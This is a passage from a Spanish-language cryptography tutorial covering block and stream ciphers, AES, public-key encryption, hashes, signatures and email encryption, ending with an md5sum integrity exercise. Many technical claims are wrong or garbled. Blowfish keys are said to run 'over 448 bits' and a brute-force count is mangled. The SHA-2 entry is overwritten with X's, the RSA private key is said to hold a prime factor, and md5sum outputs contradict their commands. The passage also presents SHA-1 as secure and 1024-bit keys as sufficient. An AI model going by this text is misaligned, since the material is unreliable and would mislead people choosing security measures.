El RC5 es similar al RC2 en el sentido que es un cifrado de bloque, pero el algoritmo toma la variable de tamaño de bloque y tamaño de la clave. También, el número de rondas que el dato pasa a través del algoritmo puede ser variado. La recomendación general es usar RC5 con una clave de 128 bit y de 12 a 16 rondas para obtener una algoritmo seguro.

RC4

RC4, el cual fue desarrollado por Rivest en 1987, es un cifrado de flujo, el cual encripta un mensaje por completo en tiempo real. La longitud de la clave puede ser variada; la longitud normal es de 128 bits en los Estados Unidos y 40 bits para exportar fuera de los Estados Unidos debido a las restrinciones de Exportación de los Estados Unidos. Lotus Notes, Oracle Secure SQL y Celular Digital Packet Data (CDPD) usan el algoritmo RC4.

RC6

No semejante a la mayoría de los nuevos algoritmos de encriptación, RC6 abarca una familia completa de algoritmos. La serie RC6 fue introducida en 1998. Después de que fue introducido el RC5, los investigadores notificaron una debilidad teórica en como el RC5 procesaba su encriptación a través de rondas especificas en el proceso. RC6 es diseñado para remediar esta debilidad. RC6 también hace fácil para los sistemas calcular los bloques de 128 bits durante cada ronda.

IDEA

El Algoritmo Internacional de Encriptación de Datos (IDEA) fue desarrollado en 1990. Para ese tiempo, fue llamado el Proposed Encryption Standard (PES), y evoluciono en Improved PES (IPES). Finalmente, en 1992, este evoluciono en IDEA. IDEA es también un cifrado de bloque y opera en bloques de datos de 64 bits. La clave es de 128 bits mas. Aunque muchos pensaban de que este era un algoritmo fuerte, este no gano popularidad.

Blowfish y Twofish

Blowfish es un algoritmo simétrico flexible hecho por Bruce Schneier, un prominente individuo en el area de criptografía el cual ha hecho muchas contribuciones significantes. Blowfish es un cifrado de bloque de ronda variable que puede usar una clave de cualquier longitud sobre los 448 bits.

Schneier ha creado un nuevo algoritmo llamado Twofish. Este algoritmo usa bloques de 128 bits y es mucho mas rápido que Blowfish. Twofish soporta claves de 28, 192 y 256 bits. Twofish ha sido visto como un candidato prometedor para ser usado con tarjetas inteligentes.

Skipjack

Skipjack es un cifrado de encriptación diseñado por la Agencia de Seguridad Nacional (NSA) de los Estados Unidos. La formula matemática actual es secreta pero es implementada en tales productos como los chips Fortezza y Clipper. Este usa un clave de 80 bit y 32 rondas en bloques de 64 bits para completar esta encriptación.

MARS

Un algoritmo de cifrado de bloque llamado MARS fue introducido por IBM. Este usa bloques de 128 bit y

soporta claves por encima de los 400 bits. El algoritmo MARS presenta mejor seguridad que DES is es más rápido. Como Twofish, esta diseñado especialmente para trabajar bien en tarjetas inteligentes.

Rijndael and Serpent

El algoritmo Rijndael permite la creación de claves de 128, 192 o 256 bits. Es un cifrado de bloque. Los desarrolladores estaban especialmente interesados en hacer un algoritmo que pudiera trabajar rápido en cualquier plataforma, incluyendo en redes de Modo de Transferencia Asincrónica (ATM), en lineas de tipo ISDN (Redes Digitales de Servicios Integrados) y hasta en Televisión de Alta Definición (HDTV).

Serpent es diseñado para tener bloques de 128 bits diseñados y soportados tamaños claves sobre los 256 bits. Esta especialmente optimizado para lo chips basados en Intel. Aunque mucho mas avanzado, el Serpent es comparado en algoritmo con el DES en la manera en que procesa la información.

Estándar Avanzado de Encriptación (AES)

En octubre de 2000, el NIST (Instituto Nacional de Estándares y Tecnología) eligió, entre 15 candidatos, un nuevo estándar de cifrado con clave secreta para reemplazar al envejeciente DES, debido a que el tamaño de las claves se había vuelto demasiado pequeño, para los niveles de procesadores existentes. El algoritmo elegido para convertirse en el AES es el Rijndael, cuyo nombre viene del de sus creadores, Rijmen y Daemen.

Este es un sistema de cifrado de bloques, ya que los mensajes están cifrados por bloques completos, que en este caso son de 128 bits. Hay varias versiones del sistema utilizando claves de 128, 192 o 256 bits. Como información vale la pena apuntar que el DES cifra bloques de 64 bits con una clave de 56 bits solamente. El triple DES utilizaba normalmente hasta entonces cifras con bloques de 64 bits con una clave de 112 bits.

En primer lugar, se añade bit a bit al mensaje la clave secreta K0 . Después, como para todos los algoritmos de cifrado por bloques, se itera una función F, parametrizada por sub-claves que se obtienen de la clave maestra mediante un algoritmo de expansión de claves.
En el caso de AES, se itera 10 veces la función F

- Se toma como entrada bloques de 128 bits repartidos en 16 octetos. Antes de nada, se aplica a cada octeto la misma permutación S. Seguidamente, se aplica a los 16 octetos una segunda permutación P. Entonces al resultado obtenido se le añade bit a bit la sub-clave de 128 bits obtenida por el algoritmo de expansión de clave.
- El algoritmo de expansión de clave permite calcular la clave Ki de la i-ésima iteración en función de la sub-clave Ki-1 de la (i-1)-ésima iteración, siendo K0 la clave secreta. Esto se describe en la figura 3. Los 16 octetos de la clave Ki-1 se toman de 4 en 4. Los últimos 4 octetos se permutan usando una permutación S, que es la misma que se utiliza para permutar los bits de cada octeto de la función. Después se suma al primer octeto del nuevo conjunto el elemento ai. Este elemento es un octeto que depende del número i de la iteración considerada. Por último, para obtener Ki, se añade bit a bit los 4 octetos obtenidos a los 4 primeros octetos de Ki-1, después el resultado obtenido es agregado a los 4 octetos siguientes y así sucesivamente.

Veamos brevemente cómo se construyen las permutaciones y a qué corresponde la constante ai. Técnicamente y por simplicidad, un octeto se puede considerar como un elemento de un conjunto con 256 elementos llamado cuerpo finito, sobre el que existen todo tipo de operaciones simples, entre otras las operaciones de suma, producto e inversión. La permutación S anteriormente mencionada corresponde a la inversión sobre este conjunto. La permutación P está especificada como una operación muy simple, implementándose fácilmente. El elemento ai corresponde a elevar a la potencia i un elemento del cuerpo. Estas

consideraciones permiten implementar AES de forma muy eficaz.

Como el AES no comprende más que operaciones muy simples sobre los octetos se tienen dos ventajas enormes:
- Incluso la implementación por software de AES es extremadamente rápida. Por ejemplo, una implementación en C++ sobre un Pentium a 200MHz permite cifrar a 70Mbits/s;
- La resistencia de AES a los criptoanálisis diferencial y lineal no depende de la elección de S-Cajas como en el DES, que habían sido sospechosas de haber sido amañadas por la NSA. En efecto, todas las operaciones efectuadas son operaciones simples.

Encriptación Asimétrica

La clave asimétrica usa un par de claves en el proceso de encriptación a diferencia de la clave única usada en la clave de encriptación simétrica. Un par de claves que realmente es una clave matemática la cual con una mitad del par encripta y con la otra mitad desencripta. Lo que A encripta, B desencripta y lo que B encripta, A desencripta.

Lo importante de este concepto es que una de las claves del par es hecha pública mientras que la otra se mantiene privado. La mitad que desea publicar sera llamada llave pública y la mitad que es mantenida en secreto es la llave privada. Inicialmente, no importa cual mitad usted distribuya. Sin embargo, una vez uno de los pares de la clave ha sido distribuido, este siempre debe ser la pública y viceversa. La consistencia es critica, ya que comprometerá la seguridad del sistema si es desobedecido.

Para enviar un mensaje a alguien que ha generado un par de claves, solo encripte el mensaje con la clave pública. Solo el usuario que ha generado el par de claves y mantiene la clave pública ya que el único propósito de la llave pública es encriptar datos. Alguien tiene que obtener la clave privada para poder desencriptar y leer los datos.

La tecnologia para una criptografía de clave pública es basada en problemas matemáticamente difíciles y que son extremadamente computo-intensivo, tales como factorizar el producto de dos grandes números primos. Sin el conocimiento de los dos números primos el problema es extremadamente difícil de resolver. Otro tipo de problemas de algoritmos difíciles que es comúnmente usado en criptografía de claves publicas, viene del campo de problemas algorítmicos discretos, este es el Elliptic Curve Cryptography (ECC). El concepto clave que hace el tema dificultoso es que ademas de conocer las matemáticas, entonces hay que saber los fundamentos de la criptografía y como aplicar estos algoritmos a esta. Esto hace que el crackeado de mensajes criptográficos computacionalmente no sea factible, o por lo menos extremadamente costoso. Por supuesto, siempre esta la posibilidad de que alguien pueda resolver el algoritmo y descubrir la clave privada. Sin embargo, si la clave es suficientemente larga, sera difícil hacerlo. No quiere decir que alguien con un programa que desencripte sin saber matemática no pueda hacer la tarea de descifrar el mensaje.

Uno de los inconvenientes de las claves de encriptación asimétrica es que son un poco lentas debido al calculo matemático intensivo que el programa requiere para aplicar la encriptación y la desencriptación. Si un usuario desea un nivel bueno o aceptable de encriptación asimétrica, necesitará horas para poder encriptar relativamente una pequeña cantidad de información, por los estándares de almacenado de hoy en día.

Encriptación de Claves Publicas

Los sistemas de cifrado de clave pública o sistemas de cifrado asimétricos se inventaron con el fin de evitar por completo el problema del intercambio de claves de los sistemas de cifrado simétricos. Con las claves públicas no es necesario que el remitente y el destinatario se pongan de acuerdo en la clave a emplear. Todo lo

que se requiere es que, antes de iniciar la comunicación secreta, el remitente consiga una copia de la clave pública del destinatario. Es más, esa misma clave pública puede ser usada por cualquiera que desee comunicarse con su propietario. Por tanto, se necesitarán sólo n pares de claves por cada n personas que deseen comunicarse entre sí.

Los sistemas de cifrado de clave pública se basan en funciones-trampa de un sólo sentido que aprovechan propiedades particulares, por ejemplo de los números primos. Una función de un sólo sentido es aquélla cuya computación es fácil, mientras que su inversión resulta extremadamente difícil. Por ejemplo, es fácil multiplicar dos números primos juntos para obtener uno compuesto, pero es difícil factorizar uno compuesto en sus componentes primos. Una función-trampa de un sentido es algo parecido, pero tiene una “trampa”. Esto quiere decir que si se conociera alguna pieza de la información, sería fácil computar el inverso. Por ejemplo, si tenemos un número compuesto por dos factores primarios y conocemos uno de los factores, es fácil computar el segundo.

Dado un cifrado de clave pública basado en factorización de números primos, la clave pública contiene un número compuesto de dos factores primos grandes, y el algoritmo de cifrado usa ese compuesto para cifrar el mensaje. El algoritmo para descifrar el mensaje requiere el conocimiento de los factores primos, para que el descifrado sea fácil si poseemos la clave privada que contiene uno de los factores, pero extremadamente difícil en caso contrario.

Como con los sistemas de cifrado simétricos buenos, con un buen sistema de cifrado de clave pública toda la seguridad descansa en la clave y no en el algoritmo. Por lo tanto el tamaño de la clave es una medida de la seguridad del sistema, pero no se puede comparar el tamaño del cifrado simétrico con el del cifrado de clave pública para medir la seguridad. En un ataque de fuerza bruta sobre un cifrado simétrico con una clave de un tamaño de 80 bits, el atacante debe probar hasta 281-1 claves para encontrar la clave correcta. En un ataque de fuerza bruta sobre un cifrado de clave pública con un clave de un tamaño de 512 bits, el atacante debe factorizar un número compuesto codificado en 512 bits (hasta 155 dígitos decimales). La cantidad de trabajo para el atacante será diferente dependiendo del cifrado que esté atacando. Mientras 128 bits son suficientes para cifrados simétricos, dada la tecnología de factorización de hoy en día, se recomienda el uso de claves públicas de 1024 bits para la mayoría de los casos.

Desventajas Respecto a las Cifras Simétricas

La mayor ventaja de la criptografía asimétrica es que se puede cifrar con una clave y descifrar con la otra, pero este sistema tiene bastantes desventajas:

• Para una misma longitud de clave y mensaje se necesita mayor tiempo de proceso.
• Las claves deben ser de mayor tamaño que las simétricas.
• El mensaje cifrado ocupa mas espacio que el original.

El sistema de criptografía de curva elíptica representa una alternativa menos costosa para este tipo de problemas. Herramientas como PGP, SSH o la capa de seguridad SSL para la jerarquía de protocolos TCP/IP utilizan un híbrido formado por la criptografía asimétrica para intercambiar claves de criptografía simétrica, y la criptografía simétrica para la transmisión de la información.

Algoritmos

Algunos algoritmos reconocidos son:

- Diffie-Hellman
- RSA

- DSA
- El Gamal
- Criptografía de curva elíptica

Otros con Menos Aceptación:

- Merkle-Hellman, algoritmos “Knapsack”.

Protocolos

Algunos protocolos que usan los algoritmos antes citados son:

- DSS ("Digital Signature Standard") con el algoritmo DSA ("Digital Signature Algorithm")
- PGP
- GPG una implementación de OpenPGP
- SSH
- SSL, ahora un estándar del IETF
- TLS

Hash

Un hash puede ser definido como una etiqueta que es generada desde un documento usando un algoritmo matemático. El algoritmo hash convierte documentos e informaciones de longitud de variables en un pedazo de código revuelto, llamado valor hash. Los algoritmos hash son usados de una vía, realizado en informaciones que usted nunca quiere que sea desencriptada o leída. En hecho, desencriptar un valor hash es teóricamente imposible. El algoritmo esta diseñado de tal manera que si ocurre un pequeño cambio en el documento se genera un gran cambio en el valor de hash. La mayoría de algoritmos de hash producen una corta longitud fija de valor hash , aunque pocos algoritmos hash crean longitud variables de salida.

Las funciones hash, son unas funciones matemáticas que realizan un resumen del documento a firmar. Su forma de operar es comprimir el documento en un único bloque de longitud fija, bloque cuyo contenido es ilegible y no tiene ningún sentido real. Tanto es así que por definición las funciones hash son irreversibles, es decir, que a partir de un bloque comprimido no se puede obtener el bloque sin comprimir, y si no es así no es una función hash. Estas funciones son además de dominio público.

A un mensaje resumido mediante una función hash y encriptado con una llave privada es lo que se denomina como firma digital.

Su mecanismo es el siguiente:

1. El emisor aplica una función hash conocida al documento, con lo que obtiene un resumen hash del mismo.
2. Encripta dicho resumen con su clave privada.
3. Envía al receptor el documento original plano y el resumen hash encriptado.
4. El receptor B aplica la función hash al resumen sin encriptar y desencripta el resumen encriptado con la llave pública de A.
5. Si ambos coinciden está seguro de que ha sido A el que le ha enviado el documento. Si no coinciden, está seguro de que no ha sido A o de que el envío ha sido interceptado durante el medio de envío y modificado.

El caso de que ambos resúmenes no coincidan contempla también la posibilidad de que el mensaje haya sido

alterado en su viaje de A a B, lo que conlleva igualmente el rechazo del documento como no válido.

Las funciones hash y la firma digital son elementos indispensables para el establecimiento de canales seguros de comunicación, basados en los Certificados Digitales.

Para que una función pueda considerarse como función hash debe cumplir lo siguiente:

- Debe transformar un texto de longitud variable en un bloque de longitud fija, que generalmente es pequeña (algunas son de 16 bits).
- Debe ser cómoda de usar e implementar.
- Debe ser irreversible, es decir, no se puede obtener el texto original del resumen hash.
- Debe ser imposible encontrar dos mensajes diferentes cuya firma digital mediante la función hash sea la misma (no-colisión).
- Si se desea además mantener un intercambio de información con confidencialidad, basta con cifrar el documento a enviar con la clave pública del receptor.

Los Algoritmos Hash

- MD2, abreviatura de Message Digest 2, diseñado para computadores con procesador de 8 bits. Todavía se usa, pero no es recomendable, debido a su lentitud de proceso.
- MD4, abreviatura de Message Digest 4, desarrollado por Ron Rivest, uno de los fundadores de RSA Data Security Inc. y padre del sistema asimétrico RSA. Aunque se considera un sistema inseguro, es importante porque ha servido de base para la creación de otras funciones hash. Un sistema de ataque desarrollado por Hans Dobbertin posibilita el crear mensajes aleatorios con los mismos valores de hash (colisiones), por lo que ya no se usa. De hecho, existe un algoritmo que encuentra una colisión en segundos.
- MD5, abreviatura de Message Digest 5, también obra de Ron Rivest, que se creó para dar seguridad a MD4, y que ha sido ámpliamente usado en diversos campos, como autenticador de mensajes en el protocolo SSL y como firmante de mensajes en el programa de correo PGP. Sin embargo, fue reventado en 1996 por el mismo investigador que lo hizo con MD4, el señor Dobbertin, que consiguió crear colisiones en el sistema MD5, aunque por medio de ataques parciales. Pero lo peor es que también consiguió realizar ataques que comprometían la no-colisión, por lo que se podían obtener mensajes con igual hash que otro determinado. A pesar de todo esto, MD5 se sigue usando bastante en la actualidad.
- SHA-1, Secure Hash Algorithm, desarrollado como parte integrante del Secure Hash Standar (SHS) y el Digital Signature Standar (DSS) por la Agencia de Seguridad Nacional Norteamericana, NSA. Sus creadores afirman que la base de este sistema es similar a la de MD4 de Rivest, y ha sido mejorado debido a ataques nunca revelados. La versión actual se considera segura (por lo menos hasta que se demuestre lo contrario) y es muy utilizada algoritmo de firma, como en el programa PGP en sus nuevas claves DH/DSS (Diffie-Hellman/Digital Signature Standar). Podemos destacar también que en la actualidad se están estudiando versiones de SHA con longitudes de clave de 256, 384 y 512 bits.
- SHA-2, Secure Hash AlgoritXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
- RIPEMD-160, desarrollada por un grupo de investigadores europeos, entre los que se encuentra Hans Dobbertin (el reventador de MD4-MD5) y otros investigadores incluidos en el proyecto RIPE (RACE Integrity Primitives Evaluation). Su primera versión adolecía de las mismas debilidades que MD4, produciendo colisiones, pero las versiones mejoradas actuales son consideradas seguras. Maneja claves muy robustas, normalmente de 160 bits, aunque existen versiones de 128 y se están planteando nuevas de 256 y 320 bits. Es muy rápido, no está patentado y su código fuente es abierto, de libre acceso.

Firma

La firma es normalmente implementado pasando lo datos para que sean firmados a través de algoritmo de encriptación de una sola vía. Este encriptación resultara en un valor hash que es único para el pedazo de dato específico para el que fue generado. La persona que desee firmar los datos ahora solo tiene que encriptar el valor del hash para asegurar el dato originado desde el emisor. Esta forma de firmar provee un mecanismo de seguridad, autentificación e integridad de los datos.

La autentificación es provista cuando el emisor encripta el valor hash con su clave privada. Esta autenticación le asegura al receptor de que el mensaje generado es el enviado por el emisor. La integridad de los datos es alcanzada por un algoritmo de encriptación de una vía. Obteniendo el valor hash le permite al receptor ejecutar los datos a través de un algoritmo de encriptación para obtener su valor hash. Los dos valores hash son comparados luego; si son el mismo, el dato no fue modificado durante el transito. Otra ventaja distinta de usar la combinación de un algoritmo de una sola vía y un algoritmo asimétrico es que el algoritmo simétrico tiene que encriptar solo una pequeña cantidad de datos. Por que los valores hash son típicamente solo pocos kilo-bytes en tamaño, un tiempo significante no es necesario para encriptar el valor hash usando el algoritmo asimétrico.

Intercambio de Claves

Virtualmente cada proceso de encriptación aplicado utiliza un algoritmo de clave de intercambio bien conocido y probado para habilitar la comunicación segura. La claves de intercambio (clave pública o mecanismo híbrido desarrollado para asegurar el paso de una clave secreta a través de una infraestructura pública) actuá como un saludo de doble vía para iniciar una conexión segura.

Estándares como son el Secure MIME (S/MIME) y Secure Socket Layer (SSL) emplean una combinación de encriptación simétrica, asimétrica y hash, como lo hacen programas individuales como el Servidor de Información de Internet (IIS), Netscape Suite Spot, Pretty Good Privacy (PGP, etc.). El raramente usado protocolo Secure Hypertext Transfer Protocol (SHTTP) también usa una combinación de estas tecnologías para asegurar el pase de la clave, algunas veces llamado una clave de sección, a través de una red insegura o no confiable.

Un concepto importante a reconocer es que podemos transportar físicamente una clave de encriptación desde una de las localidades a otra para evitar cualquier posible indiscreción el la transmisión por la red. El costo o conveniencia de estas alternativas debe ser cargada en contra del valor del dato que ha sido protegido en orden de determinar un mecanismo apropiado de aseguramiento de la información de cualquier dato.

Con todas las combinaciones posibles de encriptación, un método es requerido que identifica que acercamiento sera usado y como las claves serán intercambiadas. Internet Key Exchange (IKE) es usado en la configuración de la conexión inicial para establecer un método de encriptación. IKE determina el método de encriptación a usar y que clave sera usada.

IKE es completamente independiente de cualquier algoritmo criptográfico. En vez de, IKE trabaja con muchos métodos diferentes para aseguradamente negociar un método de encriptación e iniciar un intercambio de datos.

Procesos de Encriptación Aplicados

Los métodos de encriptación son usados en una amplia variedad de aplicaciones, desde clientes de email hasta servidores Web y hasta las redes actuales, tales como Virtual Private Networks (VPNs). La mayoría de modernas encriptaciones dinámicas usan una combinación de encriptación simétricos, asimétricos y hash. Esta combinación capitaliza en la fuerza de cada tipo de encriptación mientras minimiza sus debilidades. Esta

sección cubrirá los siguientes temas:

- E-mail
- Archivos Encriptados
- Infraestructura de Claves Publicas (PKI)
- Certificados Digitales

E-mail

El email es la aplicación mas obvia para la encriptación, especialmente ahora que los usuarios de negocios están confiando en este. Maneras populares de encriptar un email incluyen PGP y S/MIME. Otro método propietario también existen, tales como aquellos usados por Lotus Notes y otros.

Aunque los estándares de encriptación difieren, los principios siguen siendo los mismos. Sin embargo, aunque muchos programas de encriptación usan una variedad de algoritmos como el simétrico, asimétrico y algoritmos de una sola vía así como cambiando el orden los datos son encriptados, y el proceso en general es el mismo.

Encriptando un E-mail

A continuación mostraremos un ejemplo de un proceso de encriptación de una cuenta paso a paso:

- El emisor (Bob) y el receptor (Alice) necesitan obtener las claves publicas de cada uno antes de enviar un mensaje de email.
- Bob genera una sección de clave al azar (M) que sera usada para encriptar el mensaje de email y su archivo adjunto. Esta clave es típicamente generada con respecto al tiempo y algunas cosas tales como el tamaño del archivo o fecha. Los algoritmos usados para la encriptación son típicamente DES, 3DES, IDEA, Blowfish, Skipjack, RC5, y así sucesivamente.
- Bob pasara la clave de sección y el mensaje a través de una encriptación de una vía para obtener un valor hash. Este valor provee integridad de lo datos así el mensaje no será alterado en tránsito. El algoritmo usado en este paso son MD2, MD4, MD5 y SHA1. MD5 es usado con SSL y SHA1 es usado por defecto con S/MIME. El valor hash generado es llamado resumen de mensaje.
- Luego Bob encripta el valor hash con su clave privada. Usando la clave privada de Bob, Alice esta consciente de que el mensaje puede ser solo generado por Bob. El valor hash encriptado es llamado firma.
- Luego Bob encripta el mensaje de email y cualquier archivo adjunto con una sección por defecto que fue generada en el paso 2. Esta encriptación provee confidencialidad de los datos.
- Luego Bob emite la clave de la sección con la clave publica de Alice para asegurar que el mensaje puede ser desencriptado solo con el correspondiente clave privada de Alice. Esta provisión provee autentificación.

Desencriptando E-mail

El mensaje encriptado y el resumen del mensaje son luego enviados al receptor. Este proceso de desencriptación ocurre casi en orden reversa del proceso de encriptación. A continuación se muestran los pasos que tiene que seguir Alice para leer el mensaje de Bob:

1. La clave de sección simétrica (M) es desencriptada usando la clave privada de Alice (Z)
2. El texto encriptado es desencriptado usando la clave de sección simétrica, M, para derivar el mensaje de Bob para Alice. Usted pensaría que Alice puede ir adelante y leer el mensaje, pero la autenticidad del mensaje necesita ser verificada primero.
3. Alice crea un resumen del mensaje desencriptado y la clave de sección usando los mismos algoritmos

SHA1 y MD5 usados en la etapa de encriptación.

4. Alice usa la clave publica de Bob (A) para desencriptar el resumen del mensaje (firma) el resultado de los pasos 3 y 4 son comparados, y un encaje verifica al autenticidad y la integridad. Alice esta ahora preparada para leer el mensaje de Bob.

La siguiente sección explicara una implementación especifica de encriptación de email como es usado por los métodos antes mencionados.

Secure MIME (S/MIME)

S/MIME usa levemente diferentes algoritmos, formatos claves y claves de servidores desde PGP. S/MIME también almacena las claves diferentemente. Sin embargo, los principios son los mismos que este usa para encriptar, desencriptar y firmar los mensajes.

Encriptación Asimétrica Privativa

Lotus Notes y Novell Group Wise pueden usar algoritmos privativos. El servidor de email encripta y desencripta mensajes al contrario del cliente.

La ventaja de tales sistemas de encriptaciones propietarias es que la encriptación es integrada completamente al nivel del servidor, un usuario solo necesita dar click un botón para encriptar y desencriptar. Esta solución es eficiente porque los usuarios no tienen que generar claves o llevar a cabo pasos para desencriptar un mensaje. Este método puede ahorrar un valioso tiempo mientras se provee seguridad efectiva.

Una desventaja de tales métodos propietarios de encriptación asimétrica es que es compatible solo por otro servidor del mismo fabricante. Así, un usuario de Lotus Notes no puede enviar email encriptado a un cliente de Novell Group Wise. Por ejemplo, muchas organizaciones usan UNiX para servidores SMTP y POP3. Cualquier comunicación enviada entre un servidor Novell y un servidor UNiX no sera segura a menos que el usuario empleo S/MIME, PGP u otros programas de encriptación que tienen capacidades de plataforma cruzada. Esta restricción puede significativamente limitar la habilidad de comunicarse seguramente en su organización y todavía conducir los negocios. Como fue discutido anteriormente, en relación con la fuerza de la encriptación, cualquier formula nueva o propietaria puede ser vista con una distorsión significante hasta que esta haya sido verificada comercialmente.

Encriptando Archivos

Además de encriptar un email, usted puede encriptar archivos y porciones completas de discos duros, crear checksums para archivos y crear impulsos ocultos encriptados.

md5sum

El MD5 puede ser aplicado en GNU/Linux y en otras plataformas. El utilitario de GNU/Linux md5sum crea un checksum de longitud fija de un archivo individual. El archivo puede ser de cualquier longitud, pero el checksum siempre esta fijado a 128 bit. Este checksum es útil porque es comparado a versiones anteriores para determinar si un documento ha sido forzado. El algoritmo md5sum es también la base para la contraseña hash almacenada en /etc/shadows.

Por ejemplo, suponga que usted desea verificar si el archivo nombrado ha sido modificado. Este archivo es el ejecutable que inicia el servicio DNS en su sistema. Por que el nombrado es un archivo binario, usted desea asegurar que nadie ha alterado o reemplazado con un Troyano. En este ejemplo, suponga que usted esta trabajando con el directorio /home/antonio/. Usted puede ejecutar el siguiente comando como:

[antonio@localhost ~]$ md5sum /usr/sbin/apachectl

2646743eb5446fc3aadab23a5df95daa /usr/sbin/apachectl

La cadena de texto inmediatamente debajo del comando md5sum es hash de 128 bits del archivo /usr/sbin/apachectl. Usted puede guardar la salida en un archivo, digamos con el nombre apachectl.md5.

$ md5sum /usr/sbin/apachectl > apachectl.md5

El contenido del archivo apachectl.md5 aparece de la siguiente manera:

2646743eb5446fc3aadab23a5df95daa /usr/sbin/apachectl

** Note que este mapa de archivo es un hash de 128 bits al directorio exacto del archivo chat. Para comparar los archivos, usted puede usar dos estrategias.

Use el comando cat para comparar el contenido del archivo apachectl.md5 a la salida del comando md5sum:

[antonio@localhost ~]$ cat apachectl.md5
2646743eb5446fc3aadab23a5df95daa /usr/sbin/apachectl
[antonio@localhost ~]$ md5sum /usr/sbin/apachectl
2646743eb5446fc3aadab23a5df95daa /usr/sbin/apachectl

La salida previa mostró que el archivo apachectl.md5 no ha cambiado.

Si el archivo apachectl de alguna manera cambio desde la ultima vez que ejecuto md5sum, usted vera una diferencia cuando ejecute de nuevo md5sum, por ejemplo lo hacemos al archivo que generamos con el comando md5sum y el operador > y lo comparamos después de hacerle un breve cambio a nuestra copia de /etc/passwd:

[antonio@localhost ~]$cp /etc/password usuarios.txt
[antonio@localhost ~]$ md5sum usuarios.txt > usuarios.md5
[antonio@localhost ~]$ cat usuarios.md5
b55c8336ffda001ba9e615006b6cd201 /etc/passwd

Ahora hacemos un cambio al archivo usando un editor y ejecutamos la secuencia de comandos anterior, cambiamos a root por GNU en la primera linea y lo generamos nuevamente y lo desplegamos en pantalla y veremos que cambio completamente reflejando nuestro cambio:

[antonio@localhost ~]$ md5sum usuarios.txt > usuarios-2.md5
[antonio@localhost ~]$ cat usuarios.md5 usuarios-2.md5
b55c8336ffda001ba9e615006b6cd201 usuarios.txt
3a91281b7c72a75fc91ce749620f5fbc usuarios.tx

Note que la salida es ahora diferente, mostrando que el archivo de hecho ha sido alterado desde la última vez que md5sum fue ejecutado. Este cambio ha ocurrido por que algoritmos como MD5 usan el contenido de los archivos que encriptan y generan valores hash de esos contenidos. Si el mas leve cambio ocurre, el valor hash sera diferente.

Use la opción -c:

[antonio@localhost BORRAR]$ md5sum -c usuarios.md5
/etc/passwd: OK

Editamos a /etc/passwd en pequeño cambio de una letra en el ultimo usuario por ejemplo en el campo de comentarios:

[antonio@localhost BORRAR]$ sudo su
[root@localhost BORRAR]# nano /etc/passwd
[root@localhost BORRAR]# exit

Volvemos de nuevo a nuestro usuario y probamos con -c. El código anterior muestra que no han ocurrido cambios. Si el archivo passwd de alguna manera tiene un cambio, usted vera la siguiente salida:

[antonio@localhost BORRAR]$ md5sum -c usuarios.md5
/etc/passwd: FAILED
md5sum: WARNING: 1 of 1 computed checksum did NOT matchh

Si usted conoce un cambio que ha ocurrido un cambio legitimo al archivo y desea generar un nuevo valor hash, usted borrara el archivo que contiene el valor hash mas antiguo y creara uno nuevo.

Sistema de Archivo Criptográfico (CFS)

CFS provee una manera de encriptar y desencriptar archivos en un sistema cliente sin tener que modificar el

kernel del sistema. CFS hace que el proceso de encriptación y desencriptación sea transparente tanto para el usuario como también para las aplicaciones. El CFS transparente (TCFS) es esencialmente una versión extendida del Sistema de Archivos de Red (NFS). Esto permite al NFS ser usado para encriptar y desencriptar.

Como CFS, TCFS requiere algunas modificaciones, haciéndolo mas complicado para configurar que el CFS. Usando CFS o TCFS con PGP a lo largo es un método de proteger datos sensibles en un sistema y su transito.

Crypt

Como ya establecimos anteriormente, la función crypt es usada para encriptar contraseñas. Esta también puede ser implementada en cualquier función para sistemas GNU/UNiX para encriptar datos. Las páginas man de la función Crypt (3) (man crypt) contienen mas información de otras implementaciones de esta función de encriptación.

vi y el Comando :X

Aunque es obviamente inseguro, el editor de texto vi contiene la opción de proteger los archivos con encriptación y contraseñas. Cuando vi esta en modo comando, el comando :X abrirá un dialogo de encriptación. El usuario puede proveer una contraseña usada para encriptar los archivos. Una vez el archivo esta encriptado, este puede ser editado y guardado como normal. Sin embargo, cuando la sección del vi se cierra, el programa pregunta por la contraseña que fue usado para encriptar el archivo antes de que pueda ser abierto. Sin esa contraseña, el archivo nunca aparecerá en texto plano. En vez, información binaria se desplegará para el contenido del archivo.

Estos programas proveen niveles de protección desde fuerte hasta inseguro. Todos los usuarios deben decidir cuales esquemas de encriptación son necesarios para sus propósitos. Esto es también importante para regular la verificar las paginas de alertas de seguridad, tales como http://www.cert.org, para noticias sobre programas de encriptación y algoritmos.

Ejercicio 2-1: Usar md5sum para Crear Checksum

En este ejercicio, usted usara la utilidad md5sum para verificar si se han hechos cambios a los archivos directorios sensibles. No se proveen soluciones para este ejercicio:

1. Ingrese a su sistema como:
2. Cree un nuevo directorio:

[antonio@localhost ~]$ mkdir md5-probar

3. Cambie a este directorio:

[antonio@localhost ~]$ cd md5-probar

4. Crear un nuevo archivo en este directorio:

[antonio@localhost md5-probar]$ touch archivo.txt

5. Usando un editor de texto tal como vi, entre el siguiente texto:

¿Alguien aquí ha alterado o modificado este archivo?

6. Salga del editor de texto, asegurándose de que guardo los cambios. Si esta usando vi, presione ESC y ZZ.
7. Despliegue el checksum usando md5sum en pantalla:

[antonio@localhost md5-probar]$ md5sum archivo.txt
f61bf5116dc08c04fbc5bac89778372d archivo.txt

8. Usted desplegará un hash de 128bit. Ejecute el comando de nuevo, pero esta vez grabe la salida a un archivo separado de nombre archivo.md5.

[antonio@localhost md5-probar]$ md5sum archivo.txt > archivo.md5

9. Este comando ha grabado el hash del archivo.txt dentro de un archivo separado llamado archivo.md5.

10. Agregue al archivo ahora en una nueva linea, “Esto se agregó después” guárdelo y ejecute md5sum de nuevo y cambie su contenido.
11. Ejecute md5sum de nuevo. El programa debe de generar un nuevo hash.
12. Ya que MD5 crea largos hashes de un archivo, usted probablemente no puede recordar si este es un nuevo checksum. Use cat para leer el archivo llamado archivo.md5.

[antonio@localhost md5-probar]$ cat archivo.md5
f61bf5116dc08c04fbc5bac89778372d archivo.txt

13. Compare la salida de los dos comandos. Note que la firma ha cambiado para archivo.txt por que el programa md5sum cambia radicalmente al cambiar la mas minima parte del contenido de el archivo y genera hash completamene diferente reflejando hasta el mas pequeño cambio en un archivo.

[antonio@localhost md5-probar]$ cat archivo.md5
f61bf5116dc08c04fbc5bac89778372d archivo.txt
[antonio@localhost md5-probar]$ md5sum archivo.txt
35bf69f6ef3c4010b06645305f47b84d archivo.txt

